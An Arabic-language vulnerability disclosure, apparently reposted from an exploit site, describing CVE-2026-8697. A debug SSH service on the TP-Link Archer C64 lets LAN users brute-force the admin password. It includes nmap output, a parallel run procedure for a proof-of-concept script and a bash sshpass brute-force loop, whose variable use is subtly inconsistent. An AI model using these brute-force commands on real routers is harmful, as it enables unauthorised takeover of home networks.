## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ITZMETANJIM-CVE-2026-8697
# CVE-2026-8697: تجاوز حد معدل محاولات تسجيل الدخول في TP-Link Archer C64
_CVE-2026-8697 هو خلل منطقي في نظام تشغيل TP-Link Archer C64 (يُسمى TPOS في رسالة التصحيح). يسمح لأي مستخدم غير مميز متصل بالموجّه بتجاوز حد معدل محاولات واجهة الويب باستخدام خدمة SSH متبقية. يمكن استخدام سكربت بايثون بسيط لتجربة العديد من كلمات المرور في فترة زمنية قصيرة والحصول على وصول إداري كامل إلى الموجّه._
POC: poc.py
يمتلك الموجّه خدمة SSH للتصحيح لا تمنح قشرة (shell) على الموجّه، بل تنتهي فحسب عند إدخال كلمة المرور الصحيحة. لكنها تستخدم نفس كلمة مرور واجهة الإدارة ولا تطبّق أي حدود لمعدل المحاولات أو سياسات إقفال. وبناءً عليه، يمكن استخدامها بوصفها أداة تحقق عالية السرعة لتخمين كلمة المرور بالقوة الغاشمة. يمكن استغلال هذه الثغرة من أجهزة IoT خبيثة أو مخترقة على الشبكة للحصول على وصول إداري كامل إلى الموجّه. لا يمكن للمهاجم الحصول على وصول قشرة عبر هذه الواجهة، لكنه يستطيع بسهولة التحقق من بيانات الاعتماد لاختراق واجهة الإدارة الرئيسية.
تم إصلاح هذه الثغرة في إصدار البرنامج الثابت 1.15.0، الذي يزيل الخدمة ببساطة. لاختبار موجّهك، استخدم هذا الأمر (Linux/macOS):
root@kitploit:~
timeout 10 nc -vz 192.168.0.1 22
echo $?
استبدل عنوان IP بالعنوان الذي تستخدمه للاتصال بواجهة الويب الخاصة بالموجّه. إذا كان الناتج `0` أو أظهر `succeeded!` فموجّهك معرّض للثغرة. وإلا فهو ليس كذلك. في Windows، شغّل ما يلي في PowerShell:
root@kitploit:~
tnc 192.168.0.1 -Port 22
إذا أظهر `TcpTestSucceeded : True` فموجّهك معرّض للثغرة. أما إذا علّق إلى ما لا نهاية أو أظهر False فموجّهك ليس معرّضًا.
الخلل قائم على المنطق بالكامل ولا يتطلب إفساد الذاكرة أو تجاوز ASLR أو الفوز بسباقات التوقيت (race conditions).
# الاكتشاف وإعادة الإنتاج
في ذلك الوقت، كنت أتعلّم Nmap وقررت للمتعة فحص موجّهي. لم أكن أبحث عن ثغرات في ذلك الوقت، لكنني لاحظت خدمة SSH مفتوحة.
root@kitploit:~
$ sudo nmap -A -T4 192.168.0.1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-22 20:06 +0600
Nmap scan report for 192.168.0.1
Host is up (0.0028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.0 (protocol 2.0)
| ssh-hostkey:
|_ 1024 c3:db:85:33:94:d5:f7:c9:91:18:a0:73:5c:1a:aa:a5 (DSA)
53/tcp open tcpwrapped
80/tcp open http TP-LINK router http config
|_http-title: Opening...
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=tplinkwifi.net/countryName=CN
| Subject Alternative Name: DNS:tplinkwifi.net, IP Address:192.168.0.1
| Not valid before: 2010-01-01T00:00:00
|_Not valid after: 2030-12-31T00:00:00
|_ssl-date: TLS randomness does not represent time
MAC Address: 78:8C:B5:25:3B:AF (TP-Link Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Canon imageRUNNER C5185 printer or Mercusys AC12G WAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8860MFP printer (92%), Fujitsu Externus DX80 or IBM DCS9900 NAS device (92%), VxWorks (92%), Avaya 4526GTX switch (92%), Nortel CS1000M VoIP PBX or Xerox Phaser 8560DT printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5406zl, or 6200yl switch or UTStarcom F1000 VoIP phone (87%), Apple AirPort Express WAP or AMX NI-3100 controller (VxWorks) (86%), Xerox ApeosPort-IV C3370 printer (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
يُظهر السجل أعلاه خدمة SSH تشغّل OpenSSH 6.6.0 (إصدار قديم من 2014، لكن الإصدار لا يهم هنا). عند رؤية هذا الإصدار القديم جدًا، اشتبهت في أنه قد يُستغل من قبل مهاجم، وحاولت الاتصال به عبر SSH بقصد الحصول على قشرة وتحديث البرنامج الثابت. في تلك المرحلة كنت أحاول تأمين موجّهي، لا البحث عن ثغرات. غير أن الاتصال به طرح مشكلة مثيرة للاهتمام: خوارزميات مفتاح المضيف والمفاتيح العامة غير مدعومة في نسختي من OpenSSH. كما أن استخدام `-o` لم يعمل على نظامي، لذا اضطررت إلى استخدام حاوية `debian:bullseye-slim` التي تحتوي عميل OpenSSH يدعم خوارزميتي `diffie-hellman-group14-sha1` و `ssh-dss`.
داخل الحاوية، وبعد تثبيت عميل OpenSSH، تمكنت من الاتصال بخادم SSH.
root@kitploit:~
ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=+ssh-dss some-email@example.com
استخدمت هذا وتمكنت أخيرًا من الاتصال بخادم SSH، الذي رحّب بي برسالة `TPOS 5 IPSSH Test` ومطالبة بإدخال كلمة المرور. غير أنه بعد إدخال كلمة المرور، أُغلقت جلسة الاتصال فورًا. حتى أنني جربت تشغيل أمر مباشرة لكنه لم ينفّذ الأمر. أدركت أنه لا توجد قشرة، لذا لا يمكن لمهاجم أن يحصل على وصول إلى موجّهي. إذن موجّهي آمن، أليس كذلك؟ حسنًا، ليس تمامًا. أدركت أنه ورغم عدم حصولك على أي وصول، فإنك _تعرف_ ما إذا كانت كلمة مرورك صحيحة أم لا. وتلك كلمة المرور هي نفسها كلمة مرور واجهة الويب، ولم تكن هناك أي حدود لمعدل المحاولات أو أي شيء يوقف هجوم القوة الغاشمة إطلاقًا. عندها راودتني فكرة تحويل هذا إلى CVE. حاولت أتمتة الهجوم. جربت أولًا استخدام `sshpass` في حلقة bash لكن لم يكن بالإمكان استخدام كلمات مرور متعددة في الاتصال الواحد، لذا حاولت كتابة سكربت بايثون. وهذا هو POC المرفق.
لاستخدام POC، أنشئ أولًا بيئة venv وثبّت `pexpect`. لاحظ أن السكربت لا يستخدم وحدة `pxssh` الخاصة بـ Pexpect لأنها لا تدعم تجربة كلمات مرور متعددة في اتصال واحد.
root@kitploit:~
python3 -m venv venv
source venv/bin/activate
pip install pexpect
احفظ السكربت في `poc.py` وشغّله. يمكنك اختياريًا تمرير مسار إلى قائمة كلمات مرور مفصولة بأسطر جديدة كوسيط أول. إن لم تفعل، فسيستخدم الأرقام من 1 إلى 100 ككلمات مرور (لاختبار السرعة).
root@kitploit:~
python3 poc.py list.txt
يمكنك موازاة الهجوم بتشغيل عدة نسخ بقوائم مختلفة. إذا شغّلت أكثر من 3 نسخ، ستبدأ برؤية أخطاء اتصال. ومع ذلك يضمن السكربت تجربة جميع كلمات المرور.
root@kitploit:~
python3 poc.py list1.txt &
python3 poc.py list2.txt &
python3 poc.py list3.txt &
# الأثر المحتمل
يمكن للمهاجم استخدام جهاز IoT خبيث أو مخترق على الشبكة لتخمين كلمة المرور بالقوة الغاشمة والحصول على وصول إداري إلى واجهة الإدارة. لا يوجد أي مؤشر للمستخدم على حدوث ذلك، ويمكن للمهاجم الاستمرار لفترة طويلة دون أن يُكتشف. وبمجرد حصول المهاجم على وصول إلى واجهة الإدارة، يمكنه تغيير إعدادات DNS لتنفيذ اختطاف DNS، وتغيير كلمة مرور Wi-Fi لإقفال المستخدمين، واستخدام التوجيه الثابت لاعتراض حركة المرور غير المشفرة أو حظر الوصول إلى الشبكة بالتوجيه إلى عنوان IP غير موجود، وتوجيه المنافذ، وإيقاف تشغيل جدار الحماية/ALG والمزيد.
# CVSS 4.0
متجه هجوم CVSS 4.0 لهذه الثغرة هو:
root@kitploit:~
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H
ويعادل ذلك درجة 9.3 حرجة. مبرراتي لكل مقياس هي كما يلي:
* متجه الهجوم (AV): **مجاور (A)** يجب أن يكون المهاجم متصلًا بشبكة Wi-Fi لاستغلال هذه الثغرة.
* تعقيد الهجوم (AC): **منخفض (L)** الهجوم مباشر ولا يتطلب أي ظروف خاصة. يمكن أن يبدو التنفيذ الأساسي للهجوم على النحو التالي:
root@kitploit:~
while read pass;do
sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 some-email@example.com
if [ $? -eq 0 ]; then
echo "Password found: $PASS"
break
fi
done < list.txt
(لاحظ أن هذا أبطأ من سكربت POC لأنه لا يجرب كلمات مرور متعددة في كل اتصال)
* متطلبات الهجوم (AT): **لا شيء (N)** هذا خلل قائم على المنطق بالكامل ولا يتطلب أي ظروف مثل الفوز بسباق (race condition).
* الامتيازات المطلوبة (PR): **لا شيء (N)** لا تتطلب أي امتيازات خاصة. لاحظ أن شرط الاتصال بشبكة Wi-Fi مُغطّى بالفعل في `AV:A`.
* تفاعل المستخدم (UI): **لا شيء (N)** يمكن تنفيذ الهجوم دون أي تفاعل من المستخدم.
* سرية وسلامة وتوافر النظام المعرّض للثغرة (VC,VI,VA): **عالٍ (H)** يحصل المهاجم على وصول إداري كامل إلى الموجّه، ما يشكّل اختراقًا كاملًا لسرية وسلامة الموجّه. يمكن للمهاجم بسهولة جعل الموجّه غير قابل للاستخدام بطرق عديدة، مما يستلزم وصولًا ماديًا لإصلاحه (مثل استخدام ميزة التحكم في الوصول للسماح فقط لعنوان MAC غير موجود بالوصول إلى واجهة الإدارة، وإيقاف تشغيل Wi-Fi، وتغيير إعدادات الإنترنت لكسر الوصول إلى الإنترنت).
* سرية وسلامة النظام اللاحق (SC,SI): **منخفض (L)** يمكن للمهاجم اعتراض حركة المرور باستخدام طرق متنوعة (مثل تغيير DNS أو استخدام التوجيه الثابت)، لذا فهي ليست «لا شيء». غير أنه بالنظر إلى أن معظم حركة المرور مشفرة، فإن الأثر على النظام اللاحق محدود. (مع أنني لست متأكدًا مما إذا كان ينبغي أن تكون عالية أم منخفضة)
* توافر النظام اللاحق (SA): **عالٍ (H)** يمكن للمهاجم بسهولة كسر الوصول إلى الإنترنت لجميع الأجهزة المتصلة بالموجّه.
### تحليل CVSS 4.0 والتباين
نشر البائع (TP-Link) هذه الثغرة بدرجة **8.7 (عالية)** بالمتجه: `CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
غير أن هذا البحث يرى أن **أثر النظام اللاحق** لا ينبغي تقييمه على أنه «لا شيء». إذ إن الموجّه يعمل كبوابة رئيسية لجميع الأجهزة المتصلة:
1. **التوافر اللاحق (SA:H):** يتيح الوصول الإداري للمهاجم حظر الوصول إلى الإنترنت بشكل دائم لجميع الأجهزة المتصلة.
2. **السلامة/السرية اللاحقة (SI:L/SC:L):** يتيح اختطاف DNS والتلاعب بالتوجيه إعادة توجيه نشطة لحركة المرور وجمع البيانات الوصفية.
لذلك، فإن تمثيلًا أكثر دقة للمخاطر على الشبكة المنزلية هو **9.3/حرجة** كما نوقش أعلاه.
# التخفيف
تحديث البرنامج الثابت للموجّه إلى `1.15.0 Build 250729` أو أحدث سيصلح هذه الثغرة.
# الجدول الزمني للإفصاح المنسق
# المراجع
* الاستشارة الأمنية
* سجل CVE
* * *
تم اكتشاف هذه الثغرة والإبلاغ عنها بواسطة Tanjim Kamal.
* الموقع الإلكتروني: tanjim.org
* GitHub: itzmetanjim
* البريد الإلكتروني: some-email@example.com